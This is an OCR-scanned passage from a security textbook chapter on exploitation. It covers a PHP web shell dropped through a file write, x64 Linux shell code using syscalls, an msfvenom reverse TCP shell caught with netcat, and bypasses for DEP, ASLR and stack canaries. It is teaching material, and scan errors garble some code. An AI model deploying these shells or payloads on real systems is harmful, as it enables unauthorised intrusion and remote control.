use something else, such as a Python script, to achieve the same result. Now
let’s look at how to exploit write vulnerabilities with low-privileged file
writes.

Exploiting Low-Privileged File Writes

If you don’t have high privileges when a write occurs, all is not lost; however,
your options are more limited, and you’ll still need to understand what is
available on the system to exploit. For example, if you’re trying to exploit a
web application or there’s a web server install on the machine, it might be
possible to drop a server-side rendered web page, which you can then access
through a web server. Many web servers will also have PHP installed, which
allows you to execute commands as the web server user and return the result
of that command by writing the file shown in Listing 10-10 to the web root
(it might be in /var/www/btml or one of many other locations) with a .php
extension.



<?php

if (isset(S_REQUEST['exec'])) {
Sexec = $_REQUEST[ 'exec'];
$result = system($exec);
echo $result;

}

7>

Listing 10-10: A simple PHP shell

After you’ve dropped this PHP shell to the web root, you can execute
arbitrary commands on the system in the context of the web server by
requesting a URL in the form hetp://server/shell.phpexec=CMD. The URL
will result in the PHP code being executed on the server: the PHP shell will
extract the exec parameter from the URL and pass it to the system API, with
the result of executing the arbitrary command crp.

Another advantage of PHP is that it doesn’t matter what else is in the file
when it’s written: the PHP parser will look for the <zphp .. 2> tags and execute
any PHP code within those tags regardless of whatever else is in the file.
This is useful when you don’t have full control over what’s written to a file
during the vulnerability exploitation.

Writing Shell Code

Now let’s look at how to start writing your own shell code. Using this shell
code, you can execute arbitrary commands within the context of the
application you’re exploiting with your discovered memory corruption
vulnerability.

Writing your own shell code can be complex, and although I can’t do it
full justice in the remainder of this chapter, I'll give you some examples you
can build on as you continue your own research into the subject. I'll start
with some basic techniques and challenges of writing x64 code using the
Linux platform.

Getting Started

To start writing shell code, you need the following:

* An installation of Linux x64.
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* A copy of the Nerwide Assembler (NASM); most Linux distributions have a
package available for this.

On Debian and Ubuntu, the following command should install
everything you need:

sudo apt-get install build-essential nasm

We'll write the shell code in x64 assembly language and assemble it using
nasm, a binary assembler. Assembling your shell code should result in a binary
file containing just the machine instructions you specified. T'o test your shell
code, you can use Listing 10-11, written in C, to act as a test harness.

test_shellcode.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

typedef int (*exec_code_t)(void);

int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: test_shellcode shellcode.bin\n");
exit(1);
}

@ int fd = open(argv[1], O_RDONLY);
if (fd <= 0) {
perror("open");
exit(1);
}

struct stat st;

if (fstat(fd, &st) == -1) {
perror("stat");
exit(1);

}

A exec_code_t shell = mmap(NULL, st.st_size,
© PROT_EXEC | PROT_READ, MAP_PRIVATE, fd, 0);

if (shell == MAP_FAILED) {
perror("mmap");
exit(1);

}



printf("Mapped Address: %p\n", shell);
printf("Shell Result: %d\n", shell());

return 0;

}

Listing 10-11: A shell code test harness

The code takes a path from the command line @ and then maps it into
memory as a memory-mapped file @. We specify that the code is executable

with the proT_exec flag ©; otherwise, various platform-level exploit
mitigations could potentially stop the shell code from executing.
Compile the test code using the installed C compiler by executing the

following command at the shell. You shouldn’t see any warnings during
compilation.

$ cc -Wall -o test_shellcode test_shellcode.c

To test the code, put the following assembly code into the file
shellcode.asm, as shown in Listing 10-12.

; Assemble as 64 bit
BITS 64

mov rax, 100

ret

Listing 10-12: A simple shell code example

The shell code in Listing 10-12 simply moves the value 100 to the RAX
register. The RAX register is used as the return value for a function call. The
test harness will call this shell code as if it were a function, so we would
expect the value of the RAX register to be returned to the test harness. The
shell code then immediately issues the ret instruction, jumping back to the
caller of the shell code, which in this case is our test harness. The test
harness should then print out the return value of 100, if successful.

Let’s try it out. First, we’ll need to assemble the shell code using nasm, and
then we’ll execute it in the harness:

$ nasm -f bin -o shellcode.bin shellcode.asm
$ ./test_shellcode shellcode.bin

Mapped Address: 0x7fa51e860000

Shell Result: 100




The output returns 1ee to the test harness, verifying that we’re
successfully loading and executing the shell code. It’s also worth verifying
that the assembled code in the resulting binary matches what we would
expect. We can check this with the companion ndisasm tool, which
disassembles this simple binary file without having to use a disassembler,
such as IDA Pro. We need to use the -b 64 switch to ensure ndisasm uses 64-
bit disassembly, as shown here:

$ ndisasm -b 64 shellcofe.bin
00000000 B864000000 mov eax,0x64
00000005 C3 ret

The output from ndisasn should match up with the instructions we
specified in the original shell code file in Listing 10-12. Notice that we used
the RAX register in the mov instruction, but in the disassembler output we
find the EAX register. The assembler uses this 32-bit register rather than a
64-bit register because it realizes that the constant exes4 fits into a 32-bit
constant, so it can use a shorter instruction rather than loading an entire 64-
bit constant. This doesn’t change the behavior of the code because, when
loading the constant into EAX| the processor will automatically set the upper
32 bits of the RAX register to zero. The Bits directive is also missing,
because that is a directive for the nasm assembler to enable 64-bit support and
is not needed in the final assembled output.

Simple Debugging Technique

Before you start writing more complicated shell code, let’s examine an easy
debugging method. This is important when testing your full exploit, because
it might not be easy to stop execution of the shell code at the exact location
you want. We’ll add a breakpoint to our shell code using the int3 instruction
so that when the associated code is called, any attached debugger will be
notified.

Modify the code in Listing 10-12 as shown in Listing 10-13 to add the
int3 breakpoint instruction and then rerun the nasm assembler.

# Assemble as 64 bit
BITS 64

int3

mov rax, 100

ret




Listing 10-13: A simple shell code example with a breakpoint

If you execute the test harness in a debugger, such as GDB, the output
should be similar to Listing 10-14.

$ gdb --args ./test_shellcode shellcode.bin
GNU gdb 7.7.1

(gdb) display/1i $rip

(gdb) r

Starting program: /home/user/test_shellcode debug_break.bin
Mapped Address: 0x7fb6584f3000

@ Program received signal SIGTRAP, Trace/breakpoint trap.

0x00007fb6584f3001 in ?2? ()
1: x/i1 $rip
A => 0x7fb6584f3001: mov $0x64,%eax
(gdb) stepi
0x00007fb6584f3006 in ?? ()

1: x/i1 $rip

=> Ox7fb6584f3006: retq
(gdb)

0x00000000004007f6 in main ()
1: x/i1 $rip

=> Ox4007f6 <main+281>: mov %eax,%esi

Listing 10-14: Setting a breakpoint on a shell

When we execute the test harness, the debugger stops on a siGTrRap signal

@. The reason is that the processor has executed the int3 instruction, which
acts as a breakpoint, resulting in the OS sending the sictrap signal to the
process that the debugger handles. Notice that when we print the instruction

the program is currently running @, it’s not the int3 instruction but instead
the mov instruction immediately afterward. We don’t see the int3 instruction
because the debugger has automatically skipped over it to allow the
execution to continue.

Calling System Calls

The example shell code in Listing 10-12 only returns the value 100 to the
caller, in this case our test harness, which is not very useful for exploiting a
vulnerability; for that, we need the system to do some work for us. The
easiest way to do that in shell code is to use the OS’s system calls. A system
call is specified using a system call number defined by the OS. It allows you



to call basic system functions, such as opening files and executing new
processes.

Using system calls is easier than calling into system libraries because you
don’t need to know the memory location of other executable code, such as
the system C library. Not needing to know library locations makes your shell
code simpler to write and more portable across different versions of the same

OS.

However, there are downsides to using system calls: they generally
implement much lower-level functionality than the system libraries, making
them more complicated to call, as you’ll see. This is especially true on
Windows, which has very complicated system calls. But for our purposes, a
system call will be sufficient for demonstrating how to write your own shell
code.

System calls have their own defined application binary interface (ABI)
(see “Application Binary Interface” on page 123 for more details). In x64
Linux, you execute a system call using the following ABI:

* The number of the system call is placed in the RAX register.

* Up to six arguments can be passed into the system call in the registers
RDI, RSI, RDX, R10, R8 and R9.

* The system call is issued using the syscall instruction.

* The result of the system call is stored in RAX after the syscall instruction
returns.

For more information about the Linux system call process, run man 2
syscall on a Linux command line. This page contains a manual that describes
the system call process and defines the ABI for various different
architectures, including x86 and ARM. In addition, man 2 syscalls lists all the
available system calls. You can also read the individual pages for a system call
by running man 2 <SYSTEM CALL NAME>.

The exit System Call
To use a system call, we first need the system call number. Let’s use the exit
system call as an example.

How do we find the number for a particular system call? Linux comes
with header files, which define all the system call numbers for the current



platform, but trying to find the right header file on disk can be like chasing
your own tail. Instead, we’ll let the C compiler do the work for us. Compile
the C code in Listing 10-15 and execute it to print the system call number of
the exit system call.

#include <stdio.h>
#include <sys/syscall.h>

int main() {
printf("Syscall: %d\n", SYS_exit);
return 0;

}

Listing 10-15: Getting the system call number

On my system, the system call number for exit is 60, which is printed to
my screen; yours may be different depending on the version of the Linux
kernel you’re using, although the numbers don’t change very often. The exit
system call specifically takes process exit code as a single argument to return
to the OS and indicate why the process exited. Therefore, we need to pass
the number we want to use for the process exit code into RDI. The Linux
ABI specifies that the first parameter to a system call is specified in the RDI
register. The exit system call doesn’t return anything from the kernel;
instead, the process (the shell) is immediately terminated. Let’s implement
the exit call. Assemble Listing 10-16 with nasm and run it inside the test
harness.

BITS 64

; The syscall number of exit
mov rax, 60

; The exit code argument

mov rdi, 42

syscall

; exit should never return, but just in case.
ret

Listing 10-16: Calling the exit system call in shell code

Notice that the first print statement in Listing 10-16, which shows where
the shell code was loaded, is still printed, but the subsequent print statement
for the return of the shell code is not. This indicates the shell code has
successfully called the exit system call. To double-check this, you can display
the exit code from the test harness in your shell, for example, by using echo $?



in bash. The exit code should be 42, which is what we passed in the mov rdi
argument.

The write System Call

Now let’s try calling write, a slightly more complicated system call that writes
data to a file. Use the following syntax for the write system call:

ssize_t write(int fd, const void *buf, size t count);

The fd argument is the file descriptor to write to. It holds an integer value
that describes which file you want to access. Then you declare the data to be
written by pointing the buffer to the location of the data. You can specify
how many bytes to write using count.

Using the code in Listing 10-17, we’ll pass the value 1 to the fd argument,
which is the standard output for the console.

BITS 64

%define SYS write 1
%define STDOUT 1

_start:
mov rax, SYS_write
; The first argument (rdi) is the STDOUT file descriptor
mov rdi, STDOUT
; The second argument (rsi) is a pointer to a string
lea rsi, [_greeting]
; The third argument (rdx) is the length of the string to write

mov rdx, _greeting_end - _greeting
; Execute the write system call
syscall
ret
_greeting:

db "Hello User!", 10
_greeting_end:

Listing 10-17: Calling the write system call in shell code

By writing to standard output, we’ll print the data specified in buf to the
console so we can see whether it worked. If successful, the string Hello user!
should be printed to the shell console that the test harness is running on.
The write system call should also return the number of bytes written to the

file.



Now assemble Listing 10-17 with nasm and execute the binary in the test
harness:

$ nasm -f bin -o shellcode.bin shellcode.asm
$ ./test_shellcode shellcode.bin

Mapped Address: 0x7f165cel1f000

Shell Result: -14

Instead of printing the Hello user! greeting we were expecting, we get a
strange result, -14. Any value returning from the write system call that’s less
than zero indicates an error. On Unix-like systems, including Linux, there’s
a set of defined error numbers (abbreviated as errno). The error code is
defined as positive in the system but returns as negative to indicate that it’s
an error condition. You can look up the error code in the system C header
files, but the short Python script in Listing 10-18 will do the work for us.

import os

# Specify the positive error number
err = 14

print os.errno.errorcode[err]

# Prints 'EFAULT'

print os.strerror(err)

# Prints 'Bad address'

Listing 10-18: A simple Python script to print error codes

Running the script will print the error code name as erauLT and the string
description as Bad address. This error code indicates that the system call tried
to access some memory that was invalid, resulting in a memory fault. The
only memory address we’re passing is the pointer to the greeting. Let’s look
at the disassembly to find out whether the pointer we’re passing is at fault:

00000000 B8010000OO mov rax,0x1
00000005 BF01000000 mov rdi,0x1
0000OOOA 488D34251A000000 lea rsi,[0x1a]
00000012 BAOECOO0000 mov rdx,0xc
00000017 OF05 syscall
00000019 C3 ret

0000001A db "Hello User!", 10

Now we can see the problem with our code: the tea instruction, which
loads the address to the greeting, is loading the absolute address Ox1A. But if
you look at the test harness executions we’ve done so far, the address at
which we load the executable code isn’t at Ox1A or anywhere close to it. This



mismatch between the location where the shell code loads and the absolute
addresses causes a problem. We can’t always determine in advance where the
shell code will be loaded in memory, so we need a way of referencing the
greeting relative to the current executing location. Let’s look at how to do
this on 32-bit and 64-bit x86 processors.

Accessing the Relative Address on 32- and 64-Bit Systems

In 32-bit x86 mode, the simplest way of getting a relative address is to take
advantage of the fact that the calt instruction works with relative addresses.
When a call instruction executes, it pushes the absolute address of the
subsequent instruction onto the stack as a return address. We can use this
absolute return address value to calculate where the current shell code is
executing from and adjust the memory address of the greeting to match. For
example, replace the tlea instruction in Listing 10-17 with the following code:

call _get_rip

_get_rip:

; Pop return address off the stack

pop rsi

; Add relative offset from return to greeting
add rsi, _greeting - _get_rip

Using a relative catl works well, but it massively complicates the code.
Fortunately, the 64-bit instruction set introduced relative data addressing.
We can access this in nasn by adding the rel keyword in front of an address.
By changing the tea instruction as follows, we can access the address of the
greeting relative to the current executing instruction:

lea rsi, [rel _greeting]

Now we can reassemble our shell code with these changes, and the
message should print successfully:

$ nasm -f bin -o shellcode.bin shellcode.asm
$ ./test_shellcode shellcode.bin

Mapped Address: 0x7f165dedf000

Hello User!

Shell Result: 12

Executing the Other Programs



Let’s wrap up our overview of system calls by executing another binary using
the execve system call. Executing another binary is a common technique for
getting execution on a target system that doesn’t require long, complicated
shell code. The execve system call takes three parameters: the path to the
program to run, an array of command line arguments with the array
terminated by nuLL, and an array of environment variables terminated by nuLL.
Calling execve requires a bit more work than calling simple system calls, such
as write, because we need to build the arrays on the stack; however, it’s not
that hard. Listing 10-19 executes the uname command by passing it the -a
argument.

execve.asnm

BITS 64
%define SYS_execve 59

_start:
mov rax, SYS_execve
; Load the executable path
@ lea rdi, [rel _exec_path]
; Load the argument
lea rsi, [rel _argument]
; Bulld argument array on stack = { _exec_path, _argument, NULL }
A push 0
push rsi
push rdi
® mov rsi, rsp
; Bulld environment array on stack = { NULL }
push 0
O mov rdx, rsp

O syscall
; execve shouldn't return, but just in case
ret

_exec_path:

db "/bin/uname", 0
_argument:

db "-a", 0

Listing 10-19: Executing an arbitrary executable in shell code

The shellcode in Listing 10-19 is complex, so let’s break it down step-by-
step. First, the addresses of two strings, "/bin/uname” and "-a", are loaded into

registers @. The addresses of the two strings with the final NUL (which is
represented by a 0) are then pushed onto the stack in reverse order @. The



code copies the current address of the stack to the RSI register, which is the

second argument to the system call ©. Next, a single NUL is pushed on the
stack for the environment array, and the address on the stack is copied to the

RDX register @, which is the third argument to the system call. The RDI
register already contains the address of the "/bin/uname” string so our shell
code does not need to reload the address before calling the system call.

Finally, we execute the execve system call @, which executes the shell
equivalent of the following C code:

char* args[] = { "/bin/uname", "-a", NULL };
char* envp[] = { NULL };
execve("/bin/uname", args, envp);

If you assemble the execve shell code, you should see output similar to the
following, where command line /bin/uname -a is executed:

$ nasm -f bin -o execve.bin execve.asm
$ ./test_shellcode execv.bin

Mapped Address: 0x7fbdc3c1e000
Linux foobar 4.4.0 Wed Dec 31 14:42:53 PST 2014 x86_64 x86_64 x86_64 GNU/Linux

Generating Shell Code with Metasploit

It's worth practicing writing your own shell code to gain a deeper
understanding of it. However, because people have been writing shell code
for a long time, a wide range of shell code to use for different platforms and
purposes is already available online.

The Metasploit project is one useful repository of shell code. Metasploit

gives you the option of generating shell code as a binary blob, which you can
easily plug into your own exploit. Using Metasploit has many advantages:

* Handling encoding of the shell code by removing banned characters or
formatting to avoid detection

* Supporting many different methods of gaining execution, including simple
reverse shell and executing new binaries

* Supporting multiple platforms (including Linux, Windows, and macOS) as
well as multiple architectures (such as x86, x64, and ARM)



I won’t explain in great detail how to build Metasploit modules or use
their staged shell code, which requires the use of the Metasploit console to
interact with the target. Instead, I'll use a simple example of a reverse TCP
shell to show you how to generate shell code using Metasploit. (Recall that a
reverse T'CP shell allows the target machine to communicate with the
attacker’s machine via a listening port, which the attacker can use to gain
execution.)

Accessing Metasploit Payloads

The msfvenom command line utility comes with a Metasploit installation,
which provides access to the various shell code payloads built into
Metasploit. We can list the payloads supported for x64 Linux using the -1
option and filtering the output:

# msfvenom -1 | grep linux/x64

--snip--

1inux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
1inux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

We’ll use two shell codes:

shell_bind_tcp Binds to a T'CP port and opens a local shell when connected
to it

shell_reverse_tcp Attempts to connect back to your machine with a shell
attached

Both of these payloads should work with a simple tool, such as Netcat, by
either connecting to the target system or listening on the local system.

Building a Reverse Shell

When generating the shell code, you must specify the listening port (for
bind and reverse shell) and the listening IP (for reverse shell, this is your
machine’s IP address). These options are specified by passing LPorT=port and
LHosT=1P, respectively. We’ll use the following code to build a reverse 'TCP
shell, which will connect to the host 172.21.21.1 on TCP port 4444:

# msfvenom -p linux/x64/shell reverse_tcp -f raw LHOST=172.21.21.1\
LPORT=4444 > msf_shellcode.bin




The msfvenon tool outputs the shell code to standard output by default, so
you’ll need to pipe it to a file; otherwise, it will just print to the console and
be lost. We also need to specify the -f raw flag to output the shell code as a
raw binary blob. There are other potential options as well. For example, you
can output the shell code to a small .e/f executable, which you can run
directly for testing. Because we have a test harness, we won’t need to do that.

Executing the Payload

To execute the payload, we need to set up a listening instance of netcat
listening on port 4444 (for example, nc -1 4444). It’s possible that you won’t
see a prompt when the connection is made. However, typing the id
command should echo back the result:

$ nc -1 4444
# Wait for connection
id

uid=1000(user) gid=1000(user) groups=1000(user)

The result shows that the shell successfully executed the id command on
the system the shell code is running on and printed the user and group IDs
from the system. You can use a similar payload on Windows, macOS, and
even Solaris. It might be worthwhile to explore the various options in msfvenon
on your own.

Memory Corruption Exploit Mitigations

In “Exploiting Memory Corruption Vulnerabilities” on page 246, I alluded
to exploit mitigations and how they make exploiting memory vulnerabilities
difficult. The truth is that exploiting a memory corruption vulnerability on
most modern platforms can be quite complicated due to exploit mitigations
added to the compilers (and the generated application) as well as to the OS.

Security vulnerabilities seem to be an inevitable part of software
development, as do significant chunks of source code written in memory-
unsafe languages that are not updated for long periods of time. Therefore,
it’s unlikely that memory corruption vulnerabilities will disappear overnight.

Instead of trying to fix all these vulnerabilities, developers have
implemented clever techniques to mitigate the impact of known security



weaknesses. Specifically, these techniques aim to make exploitation of
memory corruption vulnerabilities difficult or, ideally, impossible. In this
section, I’ll describe some of the exploit mitigation techniques used in
contemporary platforms and development tools that make it more difficult
for attackers to exploit these vulnerabilities.

Data Execution Prevention

As you saw earlier, one of the main aims when developing an exploit is to
gain control of the instruction pointer. In my previous explanation, I glossed
over problems that might occur when placing your shell code in memory
and executing it. On modern platforms, you’re unlikely to be able to execute

arbitrary shell code as easily as described earlier due to Data Execution
Prevention (DEP) or No-Execute (NX) mitigation.

DEP attempts to mitigate memory corruption exploitation by requiring
memory with executable instructions to be specially allocated by the OS.
This requires processor support so that if the process tries to execute
memory at an address that’s not marked as executable, the processor raises
an error. The OS then terminates the process in error to prevent further
execution.

The error resulting from executing nonexecutable memory can be hard to
spot and look confusing at first. Almost all platforms misreport the error as
Segmentation fault OI Access violation On what looks like potentially legitimate
code. You might mistake this error for the instruction’s attempt to access
invalid memory. Due to this confusion, you might spend time debugging
your code to figure out why your shell code isn’t executing correctly,
believing it to be a bug in your code when it’s actually DEP being triggered.
For example, Listing 10-20 shows an example of a DEP crash.

GNU gdb 7.7.1
(gdb) r
Starting program: /home/user/triage/dep

Program received signal SIGSEGV, Segmentation fault.
Oxbffff730 in 2?2 ()

(gdb) x/31 $pc

=> Oxbffff730: push $0x2a@
Oxbffff732: pop %eax
Oxbffff733: ret




Listing 10-20: An example crash from executing nonexecutable memory

It’s tricky to determine the source of this crash. At first glance, you might

think it’s due to an invalid stack pointer, because the push instruction at @
would result in the same error. Only by looking at where the instruction is
located can you discover it was executing nonexecutable memory. You can
determine whether it’s in executable memory by using the memory map
commands described in Table 10-8.

DEP is very effective in many cases at preventing easy exploitation of
memory corruption vulnerabilities, because it’s easy for a platform developer
to limit executable memory to specific executable modules, leaving areas like
the heap or stack nonexecutable. However, limiting executable memory in
this way does require hardware and software support, leaving software
vulnerable due to human error. For example, when exploiting a simple
network-connected device, it might be that the developers haven’t bothered
to enable DEP or that the hardware they’re using doesn’t support it.

If DEP is enabled, you can use the return-oriented programming method
as a workaround.

Return-0Oriented Programming Counter-Exploit

The development of the return-oriented programming (ROP) technique was in
direct response to the increase in platforms equipped with DEP. ROP is a
simple technique that repurposes existing, already executable instructions
rather than injecting arbitrary instructions into memory and executing them.
Let’s look at a simple example of a stack memory corruption exploit using
this technique.

On Unix-like platforms, the C library, which provides the basic API for
applications such as opening files, also has functions that allow you to start a
new process by passing the command line in program code. The systen()
function is such a function and has the following syntax:

int system(const char *command);

The function takes a simple command string, which represents the
program to run and the command line arguments. This command string is
passed to the command interpreter, which we’ll come back to later. For now,
know that if you write the following in a C application, it executes the 1s



application in the shell:

system("1s");

If we know the address of the system API in memory, we can redirect the
instruction pointer to the start of the API’s instructions; in addition, if we
can influence the parameter in memory, we can start a new process under
our control. Calling the system API allows you to bypass DEP because, as far
as the processor and platform are concerned, you’re executing legitimate
instructions in memory marked as executable. Figure 10-8 shows this process
in more detail.

In this very simple visualization, ROP executes a function provided by the
C library (libc) to bypass DEP. This technique, specifically called Ret2Libc,
laid the foundation of ROP as we know it today. You can generalize this
technique to write almost any program using ROP, for example, to
implement a full Turing complete system entirely by manipulating the stack.

A More calls 22
Func:
c Integer 0 ret
% + Execute system ("1s")
@ Return: exit func s
o system:
g Address of "1s" siring L
e ret
8 Return: system func + Execute exit(0)
w
Current stack exit:
syscall

Figure 10-8: A simple ROP to call the system API

The key to understanding ROP is to know that a sequence of instructions
doesn’t have to execute as it was originally compiled into the program’s
executable code. This means you can take small snippets of code throughout
the program or in other executable code, such as libraries, and repurpose
them to perform actions the developers didn’t originally intend to execute.
These small sequences of instructions that perform some useful function are
called ROP gadgets. Figure 10-9 shows a more complex ROP example that
opens a file and then writes a data buffer to the file.



4 Length of data
Pointer to data
=
o
5 Return: GADGET3
2 .
.15;_ 0x10 byte space Dl
9 pop edi
op esi
E Return: GADGET2 EOE 0
w ret ————m= GADGET2:
Address of open push edi
push esi
0_WRONLY call ecx
add esp, Ox10 ...
Pointer to " /tmp/myfile” ret > GADGET3:
open("/tmp/myfile", 0 WRONLY) push eax
Lower stack frame — —= call write
write(fd, &data, length) ret

Figure 10-9: A more complex ROP calling open and then writing to the file by using a couple of
gadgets

Because the value of the file descriptor returning from open probably can’t
be known ahead of time, this task would be more difficult to do using the
simpler Ret2Libc technique.

Populating the stack with the correct sequence of operations to execute as
ROP is easy if you have a stack buffer overflow. But what if you only have
some other method of gaining the initial code execution, such as a heap
buffer overflow? In this case, you’ll need a stack pivot, which is a ROP
gadget that allows you to set the current stack pointer to a known value. For
example, if after the exploit EAX points to a memory buffer you control
(perhaps it’s a VTable pointer), you can gain control over the stack pointer
and execute your ROP chain using a gadget that looks like Listing 10-21.

xchg esp, eax # Exchange the EAX and ESP registers
ret # Return, will execute address on new stack

Listing 10-21: Gaining execution using a ROP gadget

The gadget shown in Listing 10-21 switches the register value EAX with
the value ESP, which indexes the stack in memory. Because we control the
value of EAX, we can pivot the stack location to the set of operations (such
as in Figure 10-9), which will execute our ROP.

Unfortunately, using ROP to get around DEP is not without problems.



Let’s look at some ROP limitations and how to deal with them.

Address Space Layout Randomization (ASLR)

Using ROP to bypass DEP creates a couple of problems. First, you need to
know the location of the system functions or ROP gadgets you're trying to
execute. Second, you need to know the location of the stack or other
memory locations to use as data. However, finding locations wasn’t always a
limiting factor.

When DEP was first introduced into Windows XP SP2, all system
binaries and the main executable file were mapped in consistent locations, at
least for a given update revision and language. (This is why earlier
Metasploit modules require you to specify a language). In addition, the
operation of the heap and the locations of thread stacks were almost
completely predictable. Therefore, on XP SP2 it was easy to circumvent
DEP, because you could guess the location of all the various components
you might need to execute your ROP chain.

Memory Information Disclosure Vulnerabilities

With the introduction of Address Space Layout Randomization (ASLR),
bypassing DEP became more difficult. As its name suggests, the goal of this
mitigation method is to randomize the layout of a process’s address space to
make it harder for an attacker to predict. Let’s look at a couple of ways that
an exploit can bypass the protections provided by ASLR.

Before ASLR, information disclosure vulnerabilities were typically useful
for circumventing an application’s security by allowing access to protected
information in memory, such as passwords. These types of vulnerabilities
have found a new use: revealing the layout of the address space to counter
randomization by ASLR.

For this kind of exploit, you don’t always need to find a specific memory
information disclosure vulnerability; in some cases, you can create an
information  disclosure vulnerability from a memory corruption
vulnerability. Let’s use an example of a heap memory corruption
vulnerability. We can reliably overwrite an arbitrary number of bytes after a
heap allocation, which can in turn be used to disclose the contents of
memory using a heap overflow like so: one common structure that might be



allocated on the heap is a buffer containing a length-prefixed string, and
when the string buffer is allocated, an additional number of bytes is placed at
the front to accommodate a length field. The string data is then stored after
the length, as shown in Figure 10-10.

String buffer (9 bytes)

|-t

String length String data

5 bytes "Hello" Other allocations

@ | Vulnerable allocation

|- |
Readable data (5 bytes)

String buffer (9 bytes)

-]
String length String data .
(2] Overflow 100 byles "Hello® Other allocations
- |- o
Overflow direction Readable data (100 bytes)

Figure 10-10: Converting memory corruption to information disclosure

At the top is the original pattern of heap allocations @. If the vulnerable
allocation is placed prior to the string buffer in memory, we would have the
opportunity to corrupt the string buffer. Prior to any corruption occurring,
we can only read the 5 valid bytes from the string buffer.

At the bottom, we cause the vulnerable allocation to overflow by just

enough to modify only the length field of the string @. We can set the
length to an arbitrary value, in this case, 100 bytes. Now when we read back
the string, we’ll get back 100 bytes instead of only the 5 bytes that were
originally allocated. Because the string buffer’s allocation is not that large,
data from other allocations would be returned, which could include sensitive
memory addresses, such as VTable pointers and heap allocation pointers.
This disclosure gives you enough information to bypass ASLR.

Exploiting ASLR Implementation Flaws

The implementation of ASLR is never perfect due to limitations of
performance and available memory. These shortcomings lead to various
implementation-specific flaws, which you can also use to disclose the
randomized memory locations.



Most commonly, the location of an executable in ASLR isn’t always
randomized between two separate processes, which would result in a
vulnerability that could disclose the location of memory from one
connection to a networked application, even if that might cause that
particular process to crash. The memory address could then be used in a
subsequent exploit.

On Unix-like systems, such as Linux, this lack of randomization should
only occur if the process being exploited is forked from an existing master
process. When a process forks, the OS creates an identical copy of the
original process, including all loaded executable code. It’s fairly common for
servers, such as Apache, to use a forking model to service new connections. A
master process will listen on a server socket waiting for new connections, and
when one is made, a new copy of the current process is forked and the
connected socket gets passed to service the connection.

On Windows systems, the flaw manifests in a different way. Windows
doesn’t really support forking processes, although once a specific executable
file load address has been randomized, it will always be loaded to that same
address until the system is rebooted. If this wasn’t done, the OS wouldn’t be
able to share read-only memory between processes, resulting in increased
memory usage.

From a security perspective, the result is that if you can leak a location of
an executable once, the memory locations will stay the same until the system
is rebooted. You can use this to your advantage because you can leak the
location from one execution (even if it causes the process to crash) and then
use that address for the final exploit.

Bypassing ASLR Using Partial Overwrites

Another way to circumvent ASLR is to use partial overwrites. Because
memory tends to be split into distinct pages, such as 4096 bytes, operating
systems restrict how random layout memory and executable code can load.
For example, Windows does memory allocations on 64KB boundaries. This
leads to an interesting weakness in that the lower bits of random memory
pointers can be predictable even if the upper bits are totally random.

The lack of randomization in the lower bits might not sound like much of
an issue, because you would still need to guess the upper bits of the address if
you're overwriting a pointer in memory. Actually, it does allow you to



selectively overwrite part of the pointer value when running on a little
endian architecture due to the way that pointer values are stored in memory.

The majority of processor architectures in use today are little endian (I
discussed endianness in more detail in “Binary Endian” on page 41). The
most important detail to know about little endian for partial overwrites is
that the lower bits of a value are stored at a lower address. Memory
corruptions, such as stack or heap overflows, typically write from a low to a
high address. Therefore, if you can control the length of the overwrite, it
would be possible to selectively overwrite only the predictable lower bits but
not the randomized higher bits. You can then use the partial overwrite to
convert a pointer to address another memory location, such as a ROP
gadget. Figure 10-11 shows how to change a memory pointer using a partial
overwrite.

0x07060504
e S——

Buffer 04 | O5 | 06 | O7

l Ox0706BBAA
———— |

Buffer AA | BB | 06 | OF

-
Overflow direction

Figure 10-11: An example of a short overwrite

We start with an address of 0x07060504. We know that, due to ASLR,
the top 16 bits (the 0x0706 part) are randomized, but the lower 16 bits are
not. If we know what memory the pointer is referencing, we can selectively
change the lower bits and accurately specify a location to control. In this
example, we overwrite the lower 16 bits to make a new address of

0x0706BBAA.

Detecting Stack Overflows with Memory Canaries

Memory canaries, or cookies, are used to prevent exploitation of a memory
corruption vulnerability by detecting the corruption and immediately
causing the application to terminate. You’ll most commonly encounter them



in reference to stack memory corruption prevention, but canaries are also
used to protect other types of data structures, such as heap headers or virtual
table pointers.

A memory canary is a random number generated by an application during
startup. The random number is stored in a global memory location so it can
be accessed by all code in the application. This random number is pushed
onto the stack when entering a function. Then, when the function is exited,
the random value is popped off the stack and compared to the global value.
If the global value doesn’t match what was popped off the stack, the
application assumes the stack memory has been corrupted and terminates the
process as quickly as possible. Figure 10-12 shows how inserting this random
number detects danger, like a canary in a coal mine, helping to prevent the
attacker from gaining access to the return address.

Upper stack frame
Upper stack frame

A Overflowed

stack buffer
Return address s 0x12345678
T
Stack canary o OxAABBCCDD Check Original canary |= Current canary
'§ Crashl
e
Stack buffer 5 Stack buffer
>
O
Local variables Llocal variables

Figure 10-12: A stack overflow with a stack canary

Placing the canary below the return address on the stack ensures that any
overflow corruption that would modify the return address would also modify
the canary. As long as the canary value is difficult to guess, the attacker can’t
gain control over the return address. Before the function returns, it calls
code to check whether the stack canary matches what it expects. If there’s a
mismatch, the program immediately crashes.



Bypassing Canaries by Corrupting Local Variables

Typically, stack canaries protect only the return address of the currently
executing function on the stack. However, there are more things on the stack
that can be exploited than just the buffer that’s being overflowed. There
might be pointers to functions, pointers to class objects that have a virtual
function table, or, in some cases, an integer variable that can be overwritten
that might be enough to exploit the stack overflow.

If the stack buffer overflow has a controlled length, it might be possible
to overwrite these variables without ever corrupting the stack canary. Even if
the canary is corrupted, it might not matter as long as the variable is used
before the canary is checked. Figure 10-13 shows how attackers might
corrupt local variables without affecting the canary.

In this example, we have a function with a function pointer on the stack.
Due to how the stack memory is laid out, the buffer we’ll overflow is at a
lower address than the function pointer f, which is also located on the stack
Q.

When the overflow executes, it corrupts all memory above the buffer,

including the return address and the stack canary @. However, before the
canary checking code runs (which would terminate the process), the function

pointer f is used. This means we still get code execution ® by calling
through f, and the corruption is never detected.

int DoSomething(const char* str)

{

int (*f)(const char*) = ADDR| A
char_buffer[32];}
strcpy(buffer, str); Return address 5 0x12345678 )
return f(buffer); D Call
} Stack canary E Ox12345678 | o1 Shegc?gg fég;igfess
X
f = ADDR é f=0x12345678
° gl [®
| buffer[32] buffer[32]

Figure 10-13: Corrupting local variables without setting off the stack canary

There are many ways in which modern compilers can protect against



corrupting local variables, including reordering variables so buffers are
